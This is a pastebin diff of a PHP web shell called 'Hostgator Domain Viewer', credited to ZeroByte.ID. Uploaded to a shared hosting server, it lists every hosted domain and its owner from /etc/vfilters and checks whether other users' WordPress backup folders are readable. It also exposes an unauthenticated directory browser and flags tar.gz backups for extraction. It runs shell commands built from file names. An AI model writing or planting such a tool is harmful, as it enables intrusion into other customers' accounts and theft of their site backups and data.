View difference between Paste ID: K705VasX and YLGRdajW
SHOW: | | - or go back to the newest paste.
1
<?php
2
set_time_limit(0);
3
error_reporting(0);
4
?>
5
<title>Hostgator Domain Viewer</title>
6
<style type="text/css">body {background:#333333;color:#cccccc;font-family: 'Courier'}td {border:1px dashed #FF0000;padding:3px;}a {color:#00ff00;text-decoration:none;}th {background: #FF0000;padding:5px;color:#FFFFFF;}h1 {margin:0;}tr:hover {background:#7B241C;}</style>
7
<?php
8
if(!empty($_GET['dir'])) {
9
	$path = $_GET['dir'];
10
	echo '<hr>Current Dir: '.$path.'<hr>';
11
	$scandir = scandir($path);
12
	foreach($scandir as $filez) {
13
		if(is_dir("$path/$filez")) {
14
			echo '[DIR] <a href="?dir='.$path.'/'.$filez.'">'.$filez.'</a><br>';
15
		}
16
		else if(preg_match('/(tar.gz)$/', $filez)) {
17
			echo '[FILE] <a href="?xtract='.$path.'/'.$filez.'" style="color:red;">'.$filez.'</a> <a>[ HAJAR! ]</a><br>';
18
		}
19
		else {
20
			echo '[FILE] <a href="?dir='.$path.'/'.$filez.'">'.$filez.'</a><br>';
21
		}
22
	}
23
}
24
else {
25
echo '<center>';
26
echo '<h1>-=[ Hostgator Domain Viewer ]=-</h1>';
27
echo '<small>'.php_uname().'</small>';
28
$domaindir = '/etc/vfilters/';
29
$domainfile = scandir($domaindir);
30
echo "<table width='80%'>\n";
31
echo "<tr><th>Domain</th><th>User</th><th>Backupwordpress</th></tr>";
32
foreach($domainfile as $domain){
33
	if(!is_dir($domain) && !preg_match('/^[*.]/', $domain) && !preg_match('/[0-9]$/', $domain)) {
34
		$user = exec("ls -l $domaindir$domain | awk '{print $3}'");
35
		echo '<tr><td>'.$domain.'</td><td width="15%" align="center"><small>'.$user.'</small></td>';
36
		if(is_readable("/home/$user/backupwordpress")){
37
			echo '<td width="13%" align="center">Yes</td>';
38
		} else {
39
			echo '<td width="13%"><center><font color="red">No</font></center></td>';
40
		}
41
		echo '</tr>';
42
	}
43
}
44
echo "</table>\n";
45
echo "<hr>&copy; 2018 - ZeroByte.ID";
46
echo '</center>';
47
}
48
?>